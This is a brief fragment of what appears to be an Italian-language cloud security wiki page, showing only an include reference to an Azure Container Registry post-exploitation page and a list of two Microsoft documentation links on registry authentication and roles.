+../az-post-exploitation/az-container-registry-post-exploitation.md +{{#endref}} + +## Riferimenti - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli) - [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)